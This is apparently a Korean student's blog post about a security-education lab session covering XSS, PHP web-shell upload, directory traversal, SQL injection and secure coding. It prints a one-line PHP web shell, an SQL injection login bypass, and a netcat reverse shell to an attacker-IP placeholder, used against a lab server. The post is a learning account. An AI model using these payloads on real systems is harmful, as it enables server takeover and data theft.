2023.4.23. (토)
서울여대 정보보호영재교육원 2주차이다.
처음 보시는 분은 입학식부터 읽는 걸 추천드립니다.
2023.04.15 - [Security/정보보호영재교육원] - 1. 입학식
입학식
2023.4.8. (토) 서울여자대학교 정보보호영재교육원 입학식이다. 우리(나 + 같은 학교 선배)는 금요일 학교가 끝난 후, 바로 서울로 올라왔다. 야무지게 건대입구에서 육회, 연어 먹bread하고 한양대
blog.suk.kr
영재원 등원까지 과정은 입학식 날과 똑같은데,
달라진 점은 지각을 하지 않았다는 거? ㅋㅋ
오늘은 "웹 해킹의 이해와 실습"에 대해 국내 보안회사에서 강의해 주셨다.
(공개하면 안 될까 봐 검열함)
오전 수업에서는 강사님이 회사에서 하시는 업무 소개, 기업 보안, 컨설팅 등... 이론 부분과
vscode(IDE), HxD(맥 유저들은 못 쓰는 그 프로그램), Burp(GOD!!!!!) 등을 설치하고,
XSS(Cross Site Scripting) 실습을 진행했다.
vscode는.. 다들 아실 테고,
HxD는 16진수 HEX 값으로 되어있는 파일을 수정할 수 있는 Hex editor입니다.
Burp Suite는 웹 프록시인데,
서버 - 클라이언트 관계 사이에서 하나의 서버를 두어,
Request, Response 패킷을 보거나, 수정할 수 있는 프로그램입니다.
+ Intruder를 사용해 Brute Force 어택을 할 수도 있고,
Repeater를 사용해 손쉽게 Request를 보낼 수도 있어요!!!!
XSS은 웹 해킹 기법 중 하나인데,
서버가 아닌 클라이언트를 공격하는 기법이다.
XSS는 Stored XSS와 Reflected XSS로 나뉘는데,
Stored XSS는 서버에 스크립트를 저장해 두고 클라이언트가 사이트에 접속하면 코드가 실행되도록 하여 세션 등을 탈취하는 방식이고,
Reflected XSS는 서버에 저장되지 않지만, 파라미터 등에 스크립트를 심어놓아 클라이언트의 정보를 탈취하는 방식이다.
Reflected XSS는 사용자가 조심하면 예방할 수 있지만,
Stored XSS는 조심하더라도 당할 수 있기 때문에 사이트 관리자의 Exception 처리가 중요하다.
실습에서는 게시판에 JS를 삽입하여 세션 탈취하는 것을 했는데...
솔직히 말하자면 난이도 "극하"라서 재밌게 놀았다.
뭐 하고 놀았냐고?
세션 탈취해서 이름을 "iamidiot"으로 바꿔놓는 놀이를 했다.. ㅋㅋ
그리고 강사님은 webhook.site보다 RequestBin을 사용하셨는데,
둘의 방식이 달라 메모해 두었다.
webhook.site - 파라미터 형식으로 Response를 받음
RequestBin - CNAME 형식으로 Response를 받음
그렇게 오전 수업이 끝나고.... 점심을 맛나게 먹었다.
(입학식 날에는 줄이 너무 길어서 못 먹었었는데 ㅠㅠ)
그리고 강의실에 올라와서 쉬고 있었는데..... 어라????????
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 간식으로 나눠주신 초코우유를 쏟았다.. ㅠㅠ
내 잘못이 조금 있긴 하지만... 내가 쏟진 않은.. 그런 안타까운 사연이 생긴 에어포스다..........
오후 수업에서는 File Up · Download(PHP Web Shell, Directory Traversal) 취약점과 SQL Injection에 대해 실습하고, 시큐어 코딩에 대한 강의를 들었다.
File Upload 취약점이란?
파일 업로드가 가능한 사이트에서 Exception 처리를 하지 못하거나, 미약하여 공격자가 악성코드를 업로드하고 실행할 수 있게 되는 취약점이다.
File Upload 취약점은 주로 PHP 서버에서 Web Shell을 업로드하여 서버를 장악한다.
서버를 장악하는 코드인데 엄청 길지도 않다.
<?php system($_GET['cmd']);?>
이 한 줄만 업로드하면 쉘을 딸 수 있으니... 얼마나 위험한가!
그렇다고 PHP 파일 업로드만 막으면 해결될까?
그것도 아니다.
.htaccess 파일을 조작하면 충분히 우회할 수 있어진다.
PHP 서버를 만들 일은 없겠지만..
만약 만들게 된다면, 이 부분을 많이 조심해야 한다.
(생각해 보니 덕영위키가 미디어위키 기반이라 PHP네)
다음은 File Download 취약점이다.
File Download 취약점은 Directory Traversal이나 LFI라고 불리고,
지정된 파일을 다운로드하지 않고, 경로를 조작하여 시스템 주요 파일을 다운로드할 수 있는 취약점이다.
그냥 자료 다운로드하는 사이트인데,
/etc/shadow 파일을 털려 root 권한을 뺏긴다면..?
상상도 하기 싫네.
Web Shell 보단 위험도가 낮지만, 그래도 RCE 가능성이 있어 매우 위험한 취약점이니 주소 검증을 필수적으로 해야 함!
웹 해킹의 가장 재밌는 부분인 SQL Injection!
SQL이란?
Database(DB)를 생성, 관리하는 시스템을 DBMS라고 하는데,
이 DBMS를 제어할 수 있게 해주는 언어를 SQL이라고 한다.
이 SQL을 조작할 수 있게 된다면,
로그인 절차를 건너뛰고, 유저들의 정보를 탈취하는 등의 상황이 생길 수 있다.
여기서 공격자가 SQL에 이상한(?) 코드를 삽입하여,
SQL을 조작하는 것을 SQL Injection이라고 한다.
정상적인 로그인 로직
SELECT * FROM USER WHERE uid='ID' AND upw='PW';
만약 SQL Injection을 한다면?
SELECT * FROM USER WHERE uid='' OR uid='admin' -- -' AND upw='PW';
ID 값에 SQL문(admin' -- -)을 삽입하여 코드를 조작하고, 관리자로 로그인하게 된다.
이러한 상황을 방지하기 위해,
시큐어 코딩을 한다.
시큐어 코딩이란?
말 그대로 SQL Injection과 같은 공격을 방지하기 위해 필터링을 하는 것이다.
여기까지는 수업 시간에 배운 내용이고,
이미 알고 있는 내용이라.. 뭘 할까 생각하다가 실습 서버를 털기로 했다 ㅋㅋㅋ
강사님이 털어도 상관없다고 하셔서 한 거니,
오해하지 말길 바란다.. ㅠ
난 먼저 Web Shell을 업로드하고,
Reverse Shell을 열었다.
#공격자 서버
nc -lvnp [PORT]
#공격받을 서버
nc [공격자 IP] [PORT] -e /bin/sh
공격받을 서버(Victim)는 서버 앞단에 프록시가 존재하는 상황이라 바인드 쉘을 열지는 못했고,
내 서버들이 다 인증서 로그인이라 SSH를 사용하지 못했다.
여기서 웃긴 건 내 서버들이 다 상용이거나 집 IP라 공개하기 힘들어서, 놀고 있던 Digital Ocean 서버 하나 끌고 왔다.
싱가폴이라 지연이 좀 있긴 했지만 뭐.. 쓰기 괜찮았다.
암튼 포트를 열고 리버스쉘을 땄는데,
어라?? mysql CLI가 안 돼서 직접 경로를 찾아야 했다.
다행히도, 생고생하기 전에 옆에 계신 선린 1학년 분께서 찾아주셨다. ㅎ
DB 털던 와중에 강사님이 재밌는 걸 가르쳐주셨는데,
python -c 'import pty; pty.spawn("/bin/bash")'
바로 이거다.
리버스쉘 상태에서 Python으로 Shell을 스폰하여 명령어를 작성할 수 있게 해주는 명령어이다.
난 이런 게 있는 줄도 모르고 응답 없는 쉘에서 난리 쳤는데... 앞으로는 애용할 생각이다 ㅎ
쉘 스폰 덕분에 편하게 DB를 털 수 있었다.
이렇게 2주차 영재원 수업도 마무리되었다.
정말 지원하기 잘한 거 같다는 생각이 들고,
반년 간 열심히 듣고 더 나은 내가 되기 위하여 노력해야겠다고 생각했다.
'Security > 정보보호영재교육원' 카테고리의 다른 글
4. 창의력 & 암호학 (0) | 2023.06.10 |
---|---|
3. 인공지능과 정보보안 (0) | 2023.06.01 |
1. 입학식 (0) | 2023.04.15 |